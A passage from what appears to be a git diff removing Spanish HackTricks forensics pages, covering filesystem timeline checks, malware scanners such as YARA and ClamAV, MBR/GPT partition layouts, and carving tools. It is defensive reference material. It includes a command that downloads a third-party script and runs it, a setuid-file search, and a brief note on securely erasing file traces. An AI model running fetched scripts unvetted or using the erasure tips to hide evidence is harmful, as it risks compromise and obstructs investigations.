Al investigar incidentes de malware, la estructura del sistema de archivos es una fuente crucial de información, revelando tanto la secuencia de eventos como el contenido del malware. Sin embargo, los autores de malware están desarrollando técnicas para obstaculizar este análisis, como modificar las marcas de tiempo de los archivos o evitar el sistema de archivos para el almacenamiento de datos.
Para contrarrestar estos métodos anti-forenses, es esencial:
- **Realizar un análisis de línea de tiempo exhaustivo** utilizando herramientas como **Autopsy** para visualizar líneas de tiempo de eventos o `mactime` de **Sleuth Kit** para datos de línea de tiempo detallados.
- **Investigar scripts inesperados** en el $PATH del sistema, que podrían incluir scripts de shell o PHP utilizados por atacantes.
- **Examinar `/dev` en busca de archivos atípicos**, ya que tradicionalmente contiene archivos especiales, pero puede albergar archivos relacionados con malware.
- **Buscar archivos o directorios ocultos** con nombres como ".. " (punto punto espacio) o "..^G" (punto punto control-G), que podrían ocultar contenido malicioso.
- **Identificar archivos setuid root** utilizando el comando: `find / -user root -perm -04000 -print` Esto encuentra archivos con permisos elevados, que podrían ser abusados por atacantes.
- **Revisar marcas de tiempo de eliminación** en tablas de inodos para detectar eliminaciones masivas de archivos, lo que podría indicar la presencia de rootkits o troyanos.
- **Inspeccionar inodos consecutivos** en busca de archivos maliciosos cercanos después de identificar uno, ya que pueden haber sido colocados juntos.
- **Verificar directorios binarios comunes** (_/bin_, _/sbin_) en busca de archivos modificados recientemente, ya que estos podrían haber sido alterados por malware.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
# Sort files in a directory by inode:
ls -lai /bin | sort -n```
````
> [!NOTE]
> Tenga en cuenta que un **atacante** puede **modificar** el **tiempo** para hacer que los **archivos aparezcan** **legítimos**, pero **no puede** modificar el **inode**. Si encuentra que un **archivo** indica que fue creado y modificado al **mismo tiempo** que el resto de los archivos en la misma carpeta, pero el **inode** es **inesperadamente más grande**, entonces los **timestamps de ese archivo fueron modificados**.
## Comparar archivos de diferentes versiones del sistema de archivos
### Resumen de comparación de versiones del sistema de archivos
Para comparar versiones del sistema de archivos y localizar cambios, utilizamos comandos simplificados de `git diff`:
- **Para encontrar nuevos archivos**, compare dos directorios:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
- **Para contenido modificado**, enumere los cambios ignorando líneas específicas:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
- **Para detectar archivos eliminados**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
- **Las opciones de filtro** (`--diff-filter`) ayudan a reducir a cambios específicos como archivos añadidos (`A`), eliminados (`D`) o modificados (`M`).
- `A`: Archivos añadidos
- `C`: Archivos copiados
- `D`: Archivos eliminados
- `M`: Archivos modificados
- `R`: Archivos renombrados
- `T`: Cambios de tipo (por ejemplo, de archivo a symlink)
- `U`: Archivos no fusionados
- `X`: Archivos desconocidos
- `B`: Archivos rotos
## Referencias
- [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems_Ch3.pdf)
- [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
- [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
- **Libro: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
{{#include ../../banners/hacktricks-training.md}}

154
src/forensics/basic-forensic-methodology/malware-analysis.md
View File

@ -1,154 +0,0 @@
# Análisis de Malware
{{#include ../../banners/hacktricks-training.md}}
## Hojas de Trucos de Forense
[https://www.jaiminton.com/cheatsheet/DFIR/#](https://www.jaiminton.com/cheatsheet/DFIR/)
## Servicios en Línea
- [VirusTotal](https://www.virustotal.com/gui/home/upload)
- [HybridAnalysis](https://www.hybrid-analysis.com)
- [Koodous](https://koodous.com)
- [Intezer](https://analyze.intezer.com)
- [Any.Run](https://any.run/)
## Herramientas de Antivirus y Detección Offline
### Yara
#### Instalar
```bash
sudo apt-get install -y yara
```
#### Preparar reglas
Usa este script para descargar y fusionar todas las reglas de malware yara de github: [https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9](https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9)\
Crea el directorio _**rules**_ y ejecútalo. Esto creará un archivo llamado _**malware_rules.yar**_ que contiene todas las reglas yara para malware.
```bash
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
```
#### Escanear
```bash
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
```
#### YaraGen: Verificar malware y crear reglas
Puedes usar la herramienta [**YaraGen**](https://github.com/Neo23x0/yarGen) para generar reglas yara a partir de un binario. Consulta estos tutoriales: [**Parte 1**](https://www.nextron-systems.com/2015/02/16/write-simple-sound-yara-rules/), [**Parte 2**](https://www.nextron-systems.com/2015/10/17/how-to-write-simple-but-sound-yara-rules-part-2/), [**Parte 3**](https://www.nextron-systems.com/2016/04/15/how-to-write-simple-but-sound-yara-rules-part-3/)
```bash
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
```
### ClamAV
#### Instalar
```
sudo apt-get install -y clamav
```
#### Escanear
```bash
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
```
### [Capa](https://github.com/mandiant/capa)
**Capa** detecta capacidades **potencialmente maliciosas** en ejecutables: PE, ELF, .NET. Así que encontrará cosas como tácticas de Att\&ck, o capacidades sospechosas como:
- verificar el error de OutputDebugString
- ejecutarse como un servicio
- crear proceso
Consíguelo en el [**repositorio de Github**](https://github.com/mandiant/capa).
### IOCs
IOC significa Indicador de Compromiso. Un IOC es un conjunto de **condiciones que identifican** algún software potencialmente no deseado o **malware** confirmado. Los Blue Teams utilizan este tipo de definición para **buscar este tipo de archivos maliciosos** en sus **sistemas** y **redes**.\
Compartir estas definiciones es muy útil, ya que cuando se identifica malware en una computadora y se crea un IOC para ese malware, otros Blue Teams pueden usarlo para identificar el malware más rápido.
Una herramienta para crear o modificar IOCs es [**IOC Editor**](https://www.fireeye.com/services/freeware/ioc-editor.html)**.**\
Puedes usar herramientas como [**Redline**](https://www.fireeye.com/services/freeware/redline.html) para **buscar IOCs definidos en un dispositivo**.
### Loki
[**Loki**](https://github.com/Neo23x0/Loki) es un escáner para Indicadores Simples de Compromiso.\
La detección se basa en cuatro métodos de detección:
```
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
```
### Linux Malware Detect
[**Linux Malware Detect (LMD)**](https://www.rfxn.com/projects/linux-malware-detect/) es un escáner de malware para Linux lanzado bajo la licencia GNU GPLv2, que está diseñado en torno a las amenazas que enfrentan los entornos de alojamiento compartido. Utiliza datos de amenazas de sistemas de detección de intrusiones en el borde de la red para extraer malware que se está utilizando activamente en ataques y genera firmas para la detección. Además, los datos de amenazas también se derivan de las presentaciones de los usuarios con la función de verificación de LMD y recursos de la comunidad de malware.
### rkhunter
Herramientas como [**rkhunter**](http://rkhunter.sourceforge.net) se pueden utilizar para verificar el sistema de archivos en busca de posibles **rootkits** y malware.
```bash
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
```
### FLOSS
[**FLOSS**](https://github.com/mandiant/flare-floss) es una herramienta que intentará encontrar cadenas ofuscadas dentro de ejecutables utilizando diferentes técnicas.
### PEpper
[PEpper](https://github.com/Th3Hurrican3/PEpper) verifica algunas cosas básicas dentro del ejecutable (datos binarios, entropía, URLs e IPs, algunas reglas de yara).
### PEstudio
[PEstudio](https://www.winitor.com/download) es una herramienta que permite obtener información de ejecutables de Windows como importaciones, exportaciones, encabezados, pero también verificará virus total y encontrará técnicas potenciales de Att\&ck.
### Detect It Easy(DiE)
[**DiE**](https://github.com/horsicq/Detect-It-Easy/) es una herramienta para detectar si un archivo está **encriptado** y también encontrar **empaquetadores**.
### NeoPI
[**NeoPI**](https://github.com/CiscoCXSecurity/NeoPI) es un script de Python que utiliza una variedad de **métodos estadísticos** para detectar contenido **ofuscado** y **encriptado** dentro de archivos de texto/script. El propósito de NeoPI es ayudar en la **detección de código de shell web oculto**.
### **php-malware-finder**
[**PHP-malware-finder**](https://github.com/nbs-system/php-malware-finder) hace su mejor esfuerzo para detectar **código ofuscado**/**sospechoso** así como archivos que utilizan funciones de **PHP** a menudo usadas en **malwares**/webshells.
### Apple Binary Signatures
Al revisar alguna **muestra de malware**, siempre debes **verificar la firma** del binario, ya que el **desarrollador** que lo firmó puede estar ya **relacionado** con **malware.**
```bash
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
```
## Técnicas de Detección
### Apilamiento de Archivos
Si sabes que alguna carpeta que contiene los **archivos** de un servidor web fue **actualizada por última vez en alguna fecha**. **Verifica** la **fecha** en que todos los **archivos** en el **servidor web** fueron creados y modificados, y si alguna fecha es **sospechosa**, revisa ese archivo.
### Líneas Base
Si los archivos de una carpeta **no deberían haber sido modificados**, puedes calcular el **hash** de los **archivos originales** de la carpeta y **compararlos** con los **actuales**. Cualquier cosa modificada será **sospechosa**.
### Análisis Estadístico
Cuando la información se guarda en registros, puedes **verificar estadísticas como cuántas veces se accedió a cada archivo de un servidor web, ya que un shell web podría ser uno de los más**.
{{#include ../../banners/hacktricks-training.md}}

37
src/forensics/basic-forensic-methodology/memory-dump-analysis/README.md
View File

@ -1,37 +0,0 @@
# Análisis de volcado de memoria
{{#include ../../../banners/hacktricks-training.md}}
## Comenzar
Comienza **buscando** **malware** dentro del pcap. Usa las **herramientas** mencionadas en [**Análisis de Malware**](../malware-analysis.md).
## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)
**Volatility es el principal marco de código abierto para el análisis de volcado de memoria**. Esta herramienta de Python analiza volcados de fuentes externas o VMs de VMware, identificando datos como procesos y contraseñas basados en el perfil del SO del volcado. Es extensible con plugins, lo que la hace altamente versátil para investigaciones forenses.
**[Encuentra aquí una hoja de trucos](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)**
## Informe de fallo de mini volcado
Cuando el volcado es pequeño (solo algunos KB, tal vez unos pocos MB) entonces probablemente sea un informe de fallo de mini volcado y no un volcado de memoria.
![](<../../../images/image (216).png>)
Si tienes Visual Studio instalado, puedes abrir este archivo y vincular información básica como el nombre del proceso, arquitectura, información de excepciones y módulos que se están ejecutando:
![](<../../../images/image (217).png>)
También puedes cargar la excepción y ver las instrucciones decompiladas
![](<../../../images/image (219).png>)
![](<../../../images/image (218) (1).png>)
De todos modos, Visual Studio no es la mejor herramienta para realizar un análisis en profundidad del volcado.
Deberías **abrirlo** usando **IDA** o **Radare** para inspeccionarlo en **profundidad**.
​
{{#include ../../../banners/hacktricks-training.md}}

234
src/forensics/basic-forensic-methodology/partitions-file-systems-carving/README.md
View File

@ -1,234 +0,0 @@
# Particiones/Sistemas de Archivos/Carving
{{#include ../../../banners/hacktricks-training.md}}
## Particiones
Un disco duro o un **SSD puede contener diferentes particiones** con el objetivo de separar datos físicamente.\
La **unidad mínima** de un disco es el **sector** (normalmente compuesto de 512B). Por lo tanto, el tamaño de cada partición debe ser un múltiplo de ese tamaño.
### MBR (master Boot Record)
Se asigna en el **primer sector del disco después de los 446B del código de arranque**. Este sector es esencial para indicar a la PC qué y de dónde debe montarse una partición.\
Permite hasta **4 particiones** (como máximo **solo 1** puede estar activa/**arrancable**). Sin embargo, si necesitas más particiones, puedes usar **particiones extendidas**. El **byte final** de este primer sector es la firma del registro de arranque **0x55AA**. Solo una partición puede marcarse como activa.\
MBR permite **máx 2.2TB**.
![](<../../../images/image (489).png>)
![](<../../../images/image (490).png>)
Desde los **bytes 440 a 443** del MBR puedes encontrar la **Firma de Disco de Windows** (si se utiliza Windows). La letra de unidad lógica del disco duro depende de la Firma de Disco de Windows. Cambiar esta firma podría impedir que Windows arranque (herramienta: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**.
![](<../../../images/image (493).png>)
**Formato**
| Offset | Longitud | Elemento |
| ----------- | ---------- | ------------------- |
| 0 (0x00) | 446(0x1BE) | Código de arranque |
| 446 (0x1BE) | 16 (0x10) | Primera partición |
| 462 (0x1CE) | 16 (0x10) | Segunda partición |
| 478 (0x1DE) | 16 (0x10) | Tercera partición |
| 494 (0x1EE) | 16 (0x10) | Cuarta partición |
| 510 (0x1FE) | 2 (0x2) | Firma 0x55 0xAA |
**Formato del Registro de Partición**
| Offset | Longitud | Elemento |
| --------- | -------- | ------------------------------------------------------ |
| 0 (0x00) | 1 (0x01) | Bandera activa (0x80 = arrancable) |
| 1 (0x01) | 1 (0x01) | Cabeza de inicio |
| 2 (0x02) | 1 (0x01) | Sector de inicio (bits 0-5); bits superiores del cilindro (6-7) |
| 3 (0x03) | 1 (0x01) | Cilindro de inicio, 8 bits más bajos |
| 4 (0x04) | 1 (0x01) | Código de tipo de partición (0x83 = Linux) |
| 5 (0x05) | 1 (0x01) | Cabeza final |
| 6 (0x06) | 1 (0x01) | Sector final (bits 0-5); bits superiores del cilindro (6-7) |
| 7 (0x07) | 1 (0x01) | Cilindro final, 8 bits más bajos |
| 8 (0x08) | 4 (0x04) | Sectores precedentes a la partición (little endian) |
| 12 (0x0C) | 4 (0x04) | Sectores en la partición |
Para montar un MBR en Linux, primero necesitas obtener el desplazamiento de inicio (puedes usar `fdisk` y el comando `p`)
![](<../../../images/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (12).png>)
Y luego usa el siguiente código
```bash
#Mount MBR in Linux
mount -o ro,loop,offset=<Bytes>
#63x512 = 32256Bytes
mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/
```
**LBA (Dirección de bloque lógico)**
**La dirección de bloque lógico** (**LBA**) es un esquema común utilizado para **especificar la ubicación de bloques** de datos almacenados en dispositivos de almacenamiento de computadoras, generalmente sistemas de almacenamiento secundario como discos duros. LBA es un esquema de direccionamiento lineal particularmente simple; **los bloques se localizan mediante un índice entero**, siendo el primer bloque LBA 0, el segundo LBA 1, y así sucesivamente.
### GPT (Tabla de particiones GUID)
La Tabla de Particiones GUID, conocida como GPT, es preferida por sus capacidades mejoradas en comparación con MBR (Registro de arranque maestro). Distintiva por su **identificador único global** para particiones, GPT se destaca en varios aspectos:
- **Ubicación y tamaño**: Tanto GPT como MBR comienzan en **sector 0**. Sin embargo, GPT opera en **64 bits**, en contraste con los 32 bits de MBR.
- **Límites de partición**: GPT admite hasta **128 particiones** en sistemas Windows y acomoda hasta **9.4ZB** de datos.
- **Nombres de particiones**: Ofrece la capacidad de nombrar particiones con hasta 36 caracteres Unicode.
**Resiliencia y recuperación de datos**:
- **Redundancia**: A diferencia de MBR, GPT no confina la partición y los datos de arranque a un solo lugar. Replica estos datos a lo largo del disco, mejorando la integridad y resiliencia de los datos.
- **Verificación de redundancia cíclica (CRC)**: GPT emplea CRC para asegurar la integridad de los datos. Monitorea activamente la corrupción de datos y, cuando se detecta, GPT intenta recuperar los datos corruptos de otra ubicación del disco.
**MBR protector (LBA0)**:
- GPT mantiene la compatibilidad hacia atrás a través de un MBR protector. Esta característica reside en el espacio MBR legado pero está diseñada para evitar que utilidades más antiguas basadas en MBR sobrescriban erróneamente discos GPT, protegiendo así la integridad de los datos en discos formateados con GPT.
![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID_Partition_Table_Scheme.svg/800px-GUID_Partition_Table_Scheme.svg.png](<../../../images/image (491).png>)
**MBR híbrido (LBA 0 + GPT)**
[Desde Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
En sistemas operativos que admiten **arranque basado en GPT a través de servicios BIOS** en lugar de EFI, el primer sector también puede seguir utilizándose para almacenar la primera etapa del código del **bootloader**, pero **modificado** para reconocer **particiones GPT**. El bootloader en el MBR no debe asumir un tamaño de sector de 512 bytes.
**Encabezado de la tabla de particiones (LBA 1)**
[Desde Wikipedia](https://en.wikipedia.org/wiki/GUID_Partition_Table)
El encabezado de la tabla de particiones define los bloques utilizables en el disco. También define el número y tamaño de las entradas de partición que componen la tabla de particiones (desplazamientos 80 y 84 en la tabla).
| Desplazamiento | Longitud | Contenido |
| -------------- | -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| 0 (0x00) | 8 bytes | Firma ("EFI PART", 45h 46h 49h 20h 50h 41h 52h 54h o 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID_Partition_Table#cite_note-8)en máquinas little-endian) |
| 8 (0x08) | 4 bytes | Revisión 1.0 (00h 00h 01h 00h) para UEFI 2.8 |
| 12 (0x0C) | 4 bytes | Tamaño del encabezado en little endian (en bytes, generalmente 5Ch 00h 00h 00h o 92 bytes) |
| 16 (0x10) | 4 bytes | [CRC32](https://en.wikipedia.org/wiki/CRC32) del encabezado (desplazamiento +0 hasta el tamaño del encabezado) en little endian, con este campo en cero durante el cálculo |
| 20 (0x14) | 4 bytes | Reservado; debe ser cero |
| 24 (0x18) | 8 bytes | LBA actual (ubicación de esta copia del encabezado) |
| 32 (0x20) | 8 bytes | LBA de respaldo (ubicación de la otra copia del encabezado) |
| 40 (0x28) | 8 bytes | Primer LBA utilizable para particiones (LBA del último de la tabla de particiones primaria + 1) |
| 48 (0x30) | 8 bytes | Último LBA utilizable (LBA del primero de la tabla de particiones secundaria − 1) |
| 56 (0x38) | 16 bytes | GUID del disco en endian mixto |
| 72 (0x48) | 8 bytes | LBA inicial de un array de entradas de partición (siempre 2 en la copia primaria) |
| 80 (0x50) | 4 bytes | Número de entradas de partición en el array |
| 84 (0x54) | 4 bytes | Tamaño de una única entrada de partición (generalmente 80h o 128) |
| 88 (0x58) | 4 bytes | CRC32 del array de entradas de partición en little endian |
| 92 (0x5C) | \* | Reservado; debe ser ceros para el resto del bloque (420 bytes para un tamaño de sector de 512 bytes; pero puede ser más con tamaños de sector más grandes) |
**Entradas de partición (LBA 2–33)**
| Formato de entrada de partición GUID | | |
| ------------------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- |
| Desplazamiento | Longitud | Contenido |
| 0 (0x00) | 16 bytes | [Tipo de partición GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (endian mixto) |
| 16 (0x10) | 16 bytes | GUID de partición único (endian mixto) |
| 32 (0x20) | 8 bytes | Primer LBA ([little endian](https://en.wikipedia.org/wiki/Little_endian)) |
| 40 (0x28) | 8 bytes | Último LBA (inclusive, generalmente impar) |
| 48 (0x30) | 8 bytes | Banderas de atributos (por ejemplo, el bit 60 denota solo lectura) |
| 56 (0x38) | 72 bytes | Nombre de la partición (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE unidades de código) |
**Tipos de particiones**
![](<../../../images/image (492).png>)
Más tipos de particiones en [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
### Inspección
Después de montar la imagen forense con [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/), puedes inspeccionar el primer sector utilizando la herramienta de Windows [**Active Disk Editor**](https://www.disk-editor.org/index.html)**.** En la imagen siguiente se detectó un **MBR** en el **sector 0** e interpretado:
![](<../../../images/image (494).png>)
Si fuera una **tabla GPT en lugar de un MBR**, debería aparecer la firma _EFI PART_ en el **sector 1** (que en la imagen anterior está vacío).
## Sistemas de archivos
### Lista de sistemas de archivos de Windows
- **FAT12/16**: MSDOS, WIN95/98/NT/200
- **FAT32**: 95/2000/XP/2003/VISTA/7/8/10
- **ExFAT**: 2008/2012/2016/VISTA/7/8/10
- **NTFS**: XP/2003/2008/2012/VISTA/7/8/10
- **ReFS**: 2012/2016
### FAT
El sistema de archivos **FAT (Tabla de asignación de archivos)** está diseñado en torno a su componente central, la tabla de asignación de archivos, situada al inicio del volumen. Este sistema protege los datos manteniendo **dos copias** de la tabla, asegurando la integridad de los datos incluso si una se corrompe. La tabla, junto con la carpeta raíz, debe estar en una **ubicación fija**, crucial para el proceso de arranque del sistema.
La unidad básica de almacenamiento del sistema de archivos es un **cluster, generalmente de 512B**, que comprende múltiples sectores. FAT ha evolucionado a través de versiones:
- **FAT12**, que admite direcciones de cluster de 12 bits y maneja hasta 4078 clusters (4084 con UNIX).
- **FAT16**, mejorando a direcciones de 16 bits, permitiendo así hasta 65,517 clusters.
- **FAT32**, avanzando aún más con direcciones de 32 bits, permitiendo un impresionante 268,435,456 clusters por volumen.
Una limitación significativa en todas las versiones de FAT es el **tamaño máximo de archivo de 4GB**, impuesto por el campo de 32 bits utilizado para el almacenamiento del tamaño del archivo.
Los componentes clave del directorio raíz, particularmente para FAT12 y FAT16, incluyen:
- **Nombre de archivo/carpeta** (hasta 8 caracteres)
- **Atributos**
- **Fechas de creación, modificación y último acceso**
- **Dirección de la tabla FAT** (que indica el cluster de inicio del archivo)
- **Tamaño del archivo**
### EXT
**Ext2** es el sistema de archivos más común para particiones **sin journaling** (**particiones que no cambian mucho**) como la partición de arranque. **Ext3/4** son **con journaling** y se utilizan generalmente para el **resto de las particiones**.
## **Metadatos**
Algunos archivos contienen metadatos. Esta información se refiere al contenido del archivo que a veces puede ser interesante para un analista, ya que dependiendo del tipo de archivo, puede tener información como:
- Título
- Versión de MS Office utilizada
- Autor
- Fechas de creación y última modificación
- Modelo de la cámara
- Coordenadas GPS
- Información de la imagen
Puedes usar herramientas como [**exiftool**](https://exiftool.org) y [**Metadiver**](https://www.easymetadata.com/metadiver-2/) para obtener los metadatos de un archivo.
## **Recuperación de archivos eliminados**
### Archivos eliminados registrados
Como se vio antes, hay varios lugares donde el archivo aún se guarda después de haber sido "eliminado". Esto se debe a que, generalmente, la eliminación de un archivo de un sistema de archivos simplemente lo marca como eliminado, pero los datos no se tocan. Entonces, es posible inspeccionar los registros de los archivos (como el MFT) y encontrar los archivos eliminados.
Además, el sistema operativo generalmente guarda mucha información sobre los cambios en el sistema de archivos y copias de seguridad, por lo que es posible intentar usarlos para recuperar el archivo o la mayor cantidad de información posible.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### **File Carving**
**File carving** es una técnica que intenta **encontrar archivos en la gran cantidad de datos**. Hay 3 formas principales en que herramientas como esta funcionan: **Basado en encabezados y pies de archivo**, basado en **estructuras** de tipos de archivo y basado en el **contenido** mismo.
Ten en cuenta que esta técnica **no funciona para recuperar archivos fragmentados**. Si un archivo **no está almacenado en sectores contiguos**, entonces esta técnica no podrá encontrarlo o al menos parte de él.
Hay varias herramientas que puedes usar para file carving indicando los tipos de archivo que deseas buscar.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### Carving de flujo de datos
El carving de flujo de datos es similar al file carving, pero **en lugar de buscar archivos completos, busca fragmentos interesantes** de información.\
Por ejemplo, en lugar de buscar un archivo completo que contenga URLs registradas, esta técnica buscará URLs.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### Eliminación segura
Obviamente, hay formas de **"eliminar de forma segura" archivos y parte de los registros sobre ellos**. Por ejemplo, es posible **sobrescribir el contenido** de un archivo con datos basura varias veces, y luego **eliminar** los **registros** del **$MFT** y **$LOGFILE** sobre el archivo, y **eliminar las copias de sombra del volumen**.\
Puedes notar que incluso al realizar esa acción puede haber **otras partes donde la existencia del archivo aún está registrada**, y eso es cierto y parte del trabajo del profesional forense es encontrarlas.
## Referencias
- [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
- **iHackLabs Certified Digital Forensics Windows**
{{#include ../../../banners/hacktricks-training.md}}

87
src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
View File

@ -1,87 +0,0 @@
# File/Data Carving & Recovery Tools
{{#include ../../../banners/hacktricks-training.md}}
## Herramientas de Carving y Recuperación
Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñada para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** es una herramienta para analizar archivos binarios para encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk).
**Comandos útiles**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descomenta esos. Si no descomentas nada, foremost buscará sus tipos de archivo configurados por defecto.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
### **Scalpel**
**Scalpel** es otra herramienta que se puede utilizar para encontrar y extraer **archivos incrustados en un archivo**. En este caso, necesitarás descomentar del archivo de configuración (_/etc/scalpel/scalpel.conf_) los tipos de archivo que deseas que extraiga.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
### Bulk Extractor
Esta herramienta viene dentro de kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer:
```
bulk_extractor memory.img -o out_folder
```
Navega a través de **toda la información** que la herramienta ha recopilado (¿contraseñas?), **analiza** los **paquetes** (lee [**análisis de Pcaps**](../pcap-inspection/index.html)), busca **dominios extraños** (dominios relacionados con **malware** o **inexistentes**).
### PhotoRec
Puedes encontrarlo en [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download)
Viene con versiones GUI y CLI. Puedes seleccionar los **tipos de archivo** que deseas que PhotoRec busque.
![](<../../../images/image (524).png>)
### binvis
Revisa el [código](https://code.google.com/archive/p/binvis/) y la [página web de la herramienta](https://binvis.io/#/).
#### Características de BinVis
- Visual y activo **visor de estructuras**
- Múltiples gráficos para diferentes puntos de enfoque
- Enfocándose en porciones de una muestra
- **Viendo cadenas y recursos**, en ejecutables PE o ELF, por ejemplo.
- Obteniendo **patrones** para criptoanálisis en archivos
- **Detectando** algoritmos de empaquetado o codificación
- **Identificar** esteganografía por patrones
- **Diferenciación** binaria visual
BinVis es un gran **punto de partida para familiarizarse con un objetivo desconocido** en un escenario de caja negra.
## Herramientas específicas de recuperación de datos
### FindAES
Busca claves AES buscando sus horarios de clave. Capaz de encontrar claves de 128, 192 y 256 bits, como las utilizadas por TrueCrypt y BitLocker.
Descarga [aquí](https://sourceforge.net/projects/findaes/).
## Herramientas complementarias
Puedes usar [**viu**](https://github.com/atanunq/viu) para ver imágenes desde la terminal.\
Puedes usar la herramienta de línea de comandos de linux **pdftotext** para transformar un pdf en texto y leerlo.
{{#include ../../../banners/hacktricks-training.md}}

66
src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md
View File

@ -1,66 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
# Herramientas de carving
## Autopsy
La herramienta más común utilizada en forense para extraer archivos de imágenes es [**Autopsy**](https://www.autopsy.com/download/). Descárgala, instálala y haz que ingiera el archivo para encontrar archivos "ocultos". Ten en cuenta que Autopsy está diseñada para soportar imágenes de disco y otros tipos de imágenes, pero no archivos simples.
## Binwalk <a id="binwalk"></a>
**Binwalk** es una herramienta para buscar archivos binarios como imágenes y archivos de audio en busca de archivos y datos incrustados.
Se puede instalar con `apt`, sin embargo, la [fuente](https://github.com/ReFirmLabs/binwalk) se puede encontrar en github.
**Comandos útiles**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
## Foremost
Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descomenta esos. Si no descomentas nada, foremost buscará los tipos de archivos configurados por defecto.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
